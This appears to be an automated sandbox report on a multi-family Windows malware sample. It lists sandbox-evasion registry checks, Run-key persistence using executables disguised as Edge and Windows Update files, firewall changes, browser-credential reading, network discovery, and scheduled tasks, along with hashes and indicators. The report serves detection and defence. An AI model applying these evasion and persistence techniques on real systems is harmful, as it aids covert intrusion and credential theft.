a2628c832b70094742e7de296cc4c3ce794231468de2ee46f13fbe7465f84d3a

Analysis

max time kernel
65s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
01/06/2026, 01:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Size 37.0MB
Sample260601-be9rdaax6t
SHA256 a2628c832b70094742e7de296cc4c3ce794231468de2ee46f13fbe7465f84d3a
MD5 3cd2164c5ff90866716f1d253d153c99
SHA1 a5f04e2bb56ac5636efb5feaa2964ccb6ee04e3d
SHA512 a2f878ca1a329dd44cffb3297223ae44f31890ee4317e241774db77df8979be5abe17b40ba8a4ebed330c8b2033b9b1c9a34fcc70d4d55086bb9acb73f34b5e5
SSDEEP 393216:i1Du8BtuBw2FEL3Z3aLUoQvo6LP/SgbSpYvKEh1EdKwlGQKPJuGsiTfREsrgCYfY:iMguj8Q4VfvtqFTrYCF36z5E5O
TLSH
T1AF878B0773E600A5E5B7D1388AA75507D773B8678331CADF329D06152FABAD09A7E320
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

collection defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Enumerates VirtualBox registry keys 2 TTPs 4 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	reg.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	reg.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	reg.exe

Adds policy Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\SvcHost_1 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Edge\\Update\\MicrosoftEdgeUpdate.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\SvcHost_3 = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\SearchFilterHost.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\MsEdgeAutoUpdate = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\EdgeUpdate\\MsEdgeAutoUpdate.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\SvcHost_2 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Media Player\\wmlaunch.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\SvcHost_4 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\WindowsUpdate\\wuauclt.exe"	reg.exe

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5972	powershell.exe
7	4296	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
5972	powershell.exe
4296	powershell.exe
704	powershell.exe
3760	powershell.exe
5644	powershell.exe
4920	powershell.exe
4500	powershell.exe
1696	powershell.exe
2328	powershell.exe
1156	powershell.exe
1068	powershell.exe
4836	powershell.exe
3040	powershell.exe
4648	powershell.exe
5816	powershell.exe
3248	powershell.exe
5000	powershell.exe
5836	powershell.exe
1692	powershell.exe
2524	powershell.exe
5252	powershell.exe
3460	powershell.exe
2920	powershell.exe
2352	powershell.exe
6028	powershell.exe
4872	powershell.exe
4012	powershell.exe
3372	powershell.exe
2480	powershell.exe
3632	powershell.exe
4568	powershell.exe
4592	powershell.exe
6076	powershell.exe
3280	powershell.exe
916	powershell.exe
3248	powershell.exe
5336	powershell.exe
240	powershell.exe
5156	powershell.exe
3104	powershell.exe
3928	powershell.exe
2464	powershell.exe
5824	powershell.exe
4848	powershell.exe
1588	powershell.exe
3132	powershell.exe
2572	powershell.exe
576	powershell.exe
2052	powershell.exe
5988	powershell.exe
5632	powershell.exe
952	powershell.exe
1632	powershell.exe
3772	powershell.exe
4836	powershell.exe
3724	powershell.exe
5388	powershell.exe
5152	powershell.exe
4672	powershell.exe
804	powershell.exe
5504	powershell.exe
4872	powershell.exe
2328	powershell.exe
3280	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	reg.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	reg.exe

Looks for VMWare services registry key. 1 TTPs 4 IoCs

defense_evasion

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vmci	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VMMEMCTL	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vmci	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VMMEMCTL	reg.exe

Looks for Xen service registry key. 1 TTPs 2 IoCs

defense_evasion

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\xenevtchn	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\xenevtchn	reg.exe

Modifies Windows Firewall 2 TTPs 4 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4948	netsh.exe
2136	netsh.exe
5456	netsh.exe
3272	netsh.exe

Clipboard Data 1 TTPs 4 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
4004	cmd.exe
4172	powershell.exe
5160	cmd.exe
4548	powershell.exe

Executes dropped EXE 6 IoCs

pid	Process
1792	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
4064	MsEdgeAutoUpdate.exe
5488	MicrosoftEdgeUpdate.exe
2876	SearchFilterHost.exe
5448	wuauclt.exe
4976	MsEdgeAutoUpdate.exe

Identifies Wine through registry keys 2 TTPs 2 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wine	reg.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wine	reg.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Indicator Removal: Clear Persistence 1 TTPs 2 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
5168	cmd.exe
3304	cmd.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Network Service Discovery 1 TTPs 4 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
6012	ARP.EXE
3152	cmd.exe
5128	ARP.EXE
6048	cmd.exe

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Enumerates processes with tasklist 1 TTPs 9 IoCs

discovery

Process Discovery

T1057

pid	Process
5856	tasklist.exe
5244	tasklist.exe
4540	tasklist.exe
5672	tasklist.exe
5324	tasklist.exe
5700	tasklist.exe
4436	tasklist.exe
1076	tasklist.exe
3712	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3568	cmd.exe
5820	cmd.exe
1040	cmd.exe
2060	cmd.exe
3900	cmd.exe
4720	cmd.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 6 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
4944	powershell.exe
5960	powershell.exe
1084	powershell.exe
4460	powershell.exe
5028	powershell.exe
1124	powershell.exe

Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 13 IoCs

When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

defense_evasion

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier	MicrosoftEdgeUpdate.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier	SearchFilterHost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier	wuauclt.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier	MsEdgeAutoUpdate.exe
File created	C:\Users\Admin\AppData\Local\Temp\2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier	MsEdgeAutoUpdate.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 8 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4644	cmd.exe
4668	cmd.exe
864	netsh.exe
704	cmd.exe
4544	netsh.exe
5996	cmd.exe
5988	netsh.exe
4944	netsh.exe

System Network Connections Discovery 1 TTPs 4 IoCs

Attempt to get a listing of network connections.

discovery

System Network Connections Discovery

T1049

pid	Process
5944	cmd.exe
4112	NETSTAT.EXE
448	NETSTAT.EXE
1080	cmd.exe

Checks processor information in registry 2 TTPs 48 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	MsEdgeAutoUpdate.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	MsEdgeAutoUpdate.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	MsEdgeAutoUpdate.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	MsEdgeAutoUpdate.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	MsEdgeAutoUpdate.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	MsEdgeAutoUpdate.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	MsEdgeAutoUpdate.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	MsEdgeAutoUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	MsEdgeAutoUpdate.exe

Detects videocard installed 1 TTPs 2 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4064	WMIC.exe
4288	WMIC.exe

Gathers network information 2 TTPs 6 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
448	NETSTAT.EXE
556	ipconfig.exe
3100	ipconfig.exe
4112	NETSTAT.EXE
3896	ipconfig.exe
3048	ipconfig.exe

NTFS ADS 18 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Local\Temp\2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier	MsEdgeAutoUpdate.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier	wuauclt.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe\:Zone.Identifier:$DATA	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe\:Zone.Identifier:$DATA	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier	MsEdgeAutoUpdate.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe\:Zone.Identifier:$DATA	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe\:Zone.Identifier:$DATA	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe\:Zone.Identifier:$DATA	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File created	C:\Users\Admin\AppData\Local\Temp\2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier	2026-06-01_3cd2164c5ff90866716f1d253d153c99_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier	MicrosoftEdgeUpdate.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier	SearchFilterHost.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 32 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5428	schtasks.exe
5400	schtasks.exe
3148	schtasks.exe
5092	schtasks.exe
880	schtasks.exe
572	schtasks.exe
2276	schtasks.exe
5368	schtasks.exe
5616	schtasks.exe
4540	schtasks.exe
1080	schtasks.exe
244	schtasks.exe
564	schtasks.exe
3124	schtasks.exe
4340	schtasks.exe
5784	schtasks.exe
2464	schtasks.exe
4052	schtasks.exe
3780	schtasks.exe
5640	schtasks.exe
5648	schtasks.exe
